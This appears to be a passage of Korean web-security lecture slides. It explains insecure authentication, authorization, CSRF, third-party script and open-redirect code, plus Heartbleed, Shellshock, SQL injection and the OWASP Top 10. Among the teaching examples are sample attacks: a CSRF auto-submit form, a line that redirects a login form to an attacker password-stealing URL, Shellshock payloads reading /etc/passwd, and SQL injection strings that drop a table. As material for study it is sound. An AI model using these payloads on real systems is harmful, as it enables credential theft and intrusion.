if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") { // 이 후 요청 처리를 위해 쿠키를 보냄 setcookie("authenticated", "1", time()+60*60*2);

} else {

ShowLoginScreen(); die("\n");

} } DisplayMedicalHistory($_POST['patient_ID']);

다음은 의료 기록 앱. 쿠키가 보내졌는 지 체크하고 인증하는 순서로 구현됨

개발자는 AuthenticateUser 함수가 항상 호출되기를 바라지만, 인증이 한 번 성공하고 나면 더이상 체크하지 않음 (2시간 동안이나) 공격자는 authenicated 쿠키를 변조할 수 있음 => 한 번도 AuthenticateUser 함수가 실행되지 않음

Page 117: Web App Security 2015.10

인증 시도 제한

117

String username = request.getParameter("username"); String password = request.getParameter("password");

int authResult = authenticateUser(username, password);

Java 서블릿의 doPost 함수 내 문장이며, 요청될 때마다 인증을 실시함

과도한 인증 시도에 대한 제한을 하고 있지 않음 인증 시도 횟수를 체크하지 않으면 Brute Force 공격 (무차별 암호 대응 공격)이 가능

$username = $_POST['username']; $password = $_POST['password']; sleep(2000); $isAuthenticated = authenticateUser($username, $password);

다음 코드는 인증 완료까지 2초 슬립코드를 두어 로그인 시도를 제한

하지만, 여러 개 연결을 통해 병렬로 인증시도하는 것을 막지는 못함.

Page 118: Web App Security 2015.10

118

int validateUser(char *host, int port) {

... int count = 0; while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {

if (getNextMessage(socket, username, USERNAME_SIZE) > 0) if (getNextMessage(socket, password, PASSWORD_SIZE) > 0)

isValidUser = AuthenticateUser(username, password); count++;

} if (isValidUser) return(SUCCESS); else return(FAIL);

인증 시도를 카운트하여 무차별 대입 공격을 막아야 함

Page 119: Web App Security 2015.10

Weak Password Brings ‘Happiness’ to Twitter Hacker 2009년 1월에 트위터 서버에 관리자 계정이 탈취됨 무차별 대입 공격으로 트위터의 암호를 유추 (자동화된 암호 유추기 사용 일반 단어 대입) 서버 지원팀 스탭의 권한으로, 유명인, 정치인에 대한 33개 계정을 접속, 패스워드를 리셋하고 인증서 획득. 트윗 메시지를 만들어서 올림 (Barack Obama, Britney Spears) 이 스탭의 암호는 “Happiness”

119http://www.wired.com/2009/01/professed-twitt/

Page 120: Web App Security 2015.10

AUTHORIZATION

120

sub DisplayPrivateMessage { my($id) = @_; my $Message = LookupMessageObject($id); print "From: " . encodeHTML($Message->{from}) . "<br>\n"; print "Subject: " . encodeHTML($Message->{subject}) . "\n"; print "<hr>\n"; print "Body: " . encodeHTML($Message->{body}) . "\n";

} my $q = new CGI; if (! AuthenticateUser($q->param('username'), $q->param('password'))) {

ExitError("invalid username or password"); } my $id = $q->param('id'); DisplayPrivateMessage($id);

다음 게시판 코드는 사용자 간 개인 메지시를 주고 받는 기능을 구현. 메시지가 보여지기 전에 인증하는 코드를 가짐. LookupMessageObject 코드는 $id 인자가 숫자임을 가정하고 파일이름을 id에 기반하여 구성. 해당 파일이름으로 메시지를 읽어들임. 프로그램은 모든 사용자의 메시지를 동일 디렉터리에 저장

프로그램은 인증이 실패하면 바로 종료되나, 메시지를 볼 수 있는 권한이 있는 지는 체크하지 않음

결과적으로 인증된 공격자는 임의의 id를 만들어 다른 사람의 개인 메시지를 살펴볼 수 있다.

to 필드를 확인하여 인증된 사용자와 일치하는 지를 체크

Page 121: Web App Security 2015.10

잘못된 권한 체크 코드

121

다음은 의료 정보 앱이고, 각 레코드를 인증된 사용자에게만 보여주어야 하고, 쿠키로 역할이 저장된다.

$role = $_COOKIES['role']; if (!$role) {

$role = getRole('user'); if ($role) { // save the cookie to send out in future responses

setcookie("role", $role, time()+60*60*2); } else{ ShowLoginScreen();

die(“\n"); } } if ($role == 'Reader') {

DisplayMedicalHistory($_POST['patient_ID']);} else{

die("You are not Authorized to view this record\n”); }

개발자는 쿠키가 getRole이 성공할 때만 지정될 것으로 생각되나, 공격자는 쿠키의 role 정보를 ‘Reader’로 바꿀 수 있고, 이렇게되면, getRole은 한 번도 수행되지 않고 환자 정보를 볼 수 있다.

Page 122: Web App Security 2015.10

CSRF

122

<form action="/url/profile.php" method="post"> <input type="text" name="firstname"/> <input type="text" name=“lastname"/> <br/> <input type="text" name="email"/> <input type="submit" name="submit" value="Update"/>

</form>

session_start(); if (! session_is_registered("username")) { // 등록된 세션이며, 정보 갱신 허용

echo "invalid session detected!"; […] // Redirect user to login page exit;

} update_profile(); function update_profile {

SendUpdateToDatabase($_SESSION['username'], $_POST['email']); [...] echo "Your profile has been successfully updated.";

}

다음은 사용자 세션에 기반하여 이메일 정보 수정을 위한 폼을 제출하는 요청을 인증하는 코드이다. 하지만, CSRF 공격은 막을 수 없다.

이미 인증된 세션을 가진 사용자의 웹 브라우저를 통해 실행되므로

Page 123: Web App Security 2015.10

123

<SCRIPT> function SendAttack () {

form.email = "[email protected]"; form.submit();

} </SCRIPT> <BODY onload="javascript:SendAttack();">

<form action="http://victim.example.com/profile.php" id="form" method="post"> <input type="hidden" name="firstname" value="Funny"> <input type="hidden" name="lastname" value=“Joke"> <br/> <input type="hidden" name="email">

</form>

다음 코드를 포함한 HTML 파일을 로드하게 되면, 이름 및 이메일 정보가 자동으로 변경될 수 있다

hidden 필드로 사용자에게 보여지지 않고, Loding 시에 바로 SendAttack이 실행된다 email 정보가 변경되었으므로, 변경되었다는 사실을 알 수 없다

Page 124: Web App Security 2015.10

외부 코드의 사용 (THIRD PARTY 기능)

제어 범위 밖의 소스를 사용할 때, 이 소스의 보안성에 대해서도 검사해야 함 신뢰되지 않는 코드, 변조된 코드 등

124

<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post">

Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" />

</form> </div> <div id="WeatherWidget">

<script type="text/javascript" src=“externalDomain.example.com/weatherwidget.js"> </script></div> </div>

다음 로그인 페이지는 외부 웹사이트의 날씨 위젯을 포함하고 있다

Page 125: Web App Security 2015.10

125

공격자가 외부 도메인 웹사이트를 해킹하면, weatherwidget.js 파일에 악성 코드를 심을 수 있다. XSS 공격을 실행. 로그인 정보는 한줄의 코드 추가로 가능

...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

Javascript를 통해 loginForm의 action을 변경 사용자가 로그인하면, 이름과 암호는 attack 사이트로 전송됨.

Page 126: Web App Security 2015.10

URL REDIRECTION('OPEN REDIRECT')

사용자 입력을 받아 외부 사이트로 리다렉트하는 코드가 있으면 피싱 공격 우려를 가진다

126

다음 코드는 사용자가 입력한 URL로 리다렉트하는 코드이다

$redirect_url = $_GET['url']; header("Location: " . $redirect_url);

공격자가 이 페이지를 피싱으로 악용할 수 있다 example.php의 일부라고 했을 때, 공격자는 피해자에게 다음 링크를 클릭하도록 유도할 수 있다

http://example.com/example.php?url=http://malicious.example.com or http://example.com/example.php?url=http://examplee.com

사용자는 URL로, 리다이렉션 발생을 예측하기 어렵다

Page 127: Web App Security 2015.10

참고

Page 128: Web App Security 2015.10

보안 공학의 중요성

Page 129: Web App Security 2015.10

2104 SOFTWARE 취약점

129

Heartbleed Shellshock

2014년 4월 발생 OpenSSL 1.0.1

2014년 11월 발생 bash 셀

2015년 인터넷 보안 위협 보고서, 제20호, Symantec

Page 130: Web App Security 2015.10

HEARTBLEED

130

http://xkcd.com/1354/

hbtype = *p++; n2s(p, payload); if (1 + 2 + payload + 16 > s->s3->rrec.length)

return 0; /* silently discard per RFC 6520 sec. 4 */

타입과 Payload (길이) 값을 읽음

hbtype = *p++; n2s(p, payload); pl = p;

Payload의 실제 데이터 길이보다 Payload 값이 크면 안됨

Page 131: Web App Security 2015.10

SHELLSHOCK

131

() {:;}; /bin/cat /etc/passwd

http://blog.panorama9.com/hit-by-shellshock-now-what/

(){ : ; }; do_evil()

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

Page 132: Web App Security 2015.10

전통적인 WEB APP 보안 취약점

132

이름

암호

SQL Injection

$result = mysql_query(“select * from Users where (name = ‘$user’ and password = ‘$pass')”);

frank’ OR 1 = 1); - -

frank’ OR 1 = 1); DROP TABLE Users; - -

name password email address

frank dafjdlka* [email protected]

tom fdjakjfal01 [email protected]

alice a90fdakjl [email protected]

BrowserWeb Server

Database

Session Hijacking Cross-site Request Forgery (CSRF) Cross-site Scripting (XSS)

Page 133: Web App Security 2015.10

보안 공학 필요성

기능 개발 후에 보안성 검토? => 응용 개발 전 과정에서 보안 활동

133

요구사항

설계

구현

테스팅

프로젝트 기획

릴리스/배포 유지보수

보안 목표 수립

보안 설계 가이드라인 위협(Threat) 모델링

아키텍처 및 설계 보안성 리뷰

코드 보안성 리뷰

보안 테스팅

배포시 보안 리뷰

보안 요구사항

아키텍처 리스크 분석

보안 중심 설계

리스크 기반 보안 테스팅

Penetration Testing

Abuse Cases

코드 리뷰 (Static Analyzer)

Page 134: Web App Security 2015.10

UNIT TESTING, 코드 리뷰

134

Unit Testing (Code Coverage)

APPLE revealed and fixed a Secure Sockets Layer (SSL) vulnerability that had gone undiscovered since the release of iOS 6.0 in September 2012 (2014.2)

• SSL/TLS 알고리즘 구현 시, 보안 연결을 위한 Handshaking의 마지막 스텝을 건너 뛰도록 함

• TLS 서버 키 교환 메시지 체크 과정을 누락 (임의의 Private 키로 연결 가능) • 중복 goto 문이 6번이나 사용됨 (Copy & Paste)

Static Analyzer (Unreachable code detection)

Code Review & Code Refactoring to make the algorithm testable

AppleSSL Volnerability

Page 135: Web App Security 2015.10

소프트웨어에서의 개인 정보 관리

135

TV음성처리 서버

Voice

Channel Up Movie Recommendation

"사용자가 나눈 개인적이거나 민감한 내용의 대화가 데이터로 저장된 뒤 제3자에게 전달될 수 있으니 주의하십시오"

2012년 스마트 TV, 음성인식 정보 암호화 처리 안 해 논란

Abuse Requirement Threat Modeling

구현오류가 아니라, 요구사항 및 위협 모델링의 부실, 정보 3자 제공에 대한 인지 부족 네트워크를 통한 민감 데이터 유출을 사전에 정의 Test Case 개발

Page 136: Web App Security 2015.10

지속적인 보안 취약점

136

Adobe Flash Player

Adobe Flash use-after-free and memory corruption vulnerabilities (CVE-2015-5119, CVE-2015-5122, CVE-2015-5123) 2015년 7월 Published

• 5억개 이상의 기기에 설치 • 2만개 이상의 앱이 플래시 기술을 사용 • 페이스북 게임 Top 25개 중 24개가 플래시 기술을 사용 • 3백만 이상의 개발자

왜 플래시에 이런 취약점이 계속 발견되고 공격의 대상이 되는가?

Page 137: Web App Security 2015.10

OWASP TOP 10 보안 취약점

137

Page 138: Web App Security 2015.10

OWASP TOP 10 APPLICATION SECURITY RISKS – 2013

A1 – Injection 응용을 속여서 의도되지 않은 명령을 실행함. 텍스트 데이터를 조작하여 인터프리터 명령으로 실행 SQL, OS 인젝션 결함

A2 – Broken Authentication and Session Management 인증 및 세션 관리와 관련된 앱 기능이 제대로 구현되지 않아, 공격자가 암호, 키, 세션 토큰 등을 탈취

A3 – Cross-Site Scripting (XSS) 앱이 신뢰되지 않은 데이터를 적절한 확인 및 이스케이핑 없이 웹 브라우저로 보내, 악성 스크립트가 실행됨 피해자의 컴퓨터에서 스크립트를 실행하여 사용자 세션을 하이재킹하거나, 사용자가 보는 화면을 바꾸거나 악성 사이트로 보냄

A4 – Insecure Direct Object References 개발자 실수로 내부 구현 객체 (파일, 디렉터리, 데이터베이스 키) 등이 외부에 노출되어, 공격자가 임의로 접근가능할 때 발생. 접근 제어 및 보호가 없으면, 공격자는 권한 없이 데이터를 사용가능

138

Page 139: Web App Security 2015.10

A5 – Security Misconfiguration 앱, 프레임워크, 앱 서버, 웹 서버, DB 서버, 플랫폼 등 웹 앱 관련 시스템에 대한 보안 설정이 제대로 되어 있지 않을 때 발생 관련 소프트웨어는 최신 업데이트가 되어야 하고, 디폴트 설정은 보안성이 떨어지므로 수정해야 함

A6 – Sensitive Data Exposure 신용 카드, 인증 정보 등 민감한 데이터에 대한 보안성을 강화해야 함

A7 – Missing Function Level Access Control UI에 보이는 기능에 대해서는 함수 수준에서 접근 제어를 해야 함

A8 - Cross-Site Request Forgery (CSRF) 로그인 한 피해자의 브라우저가 위조된 HTTP 요청을 보내도록 함. 피해자의 세션 쿠키 및 인증 정보를 활용

139

Page 140: Web App Security 2015.10

A9 - Using Components with Known Vulnerabilities 라이브러리, 프레임워크 및 다른 소프트웨어 모듈을 포함한 컴포넌트는 대부분 전체 권한을 가지고 실행됨. 취약한 컴포넌트을 통해 데이터 누출, 서버 획득을 수행.

A10 – Unvalidated Redirects and Forwards 사용자를 다른 페이지로 리다렉트 혹은 포워드 할 때, 신뢰되지 않은 데이터를 사용 (피싱 사이트, 악성 웹 서버로 피해자를 유도.

140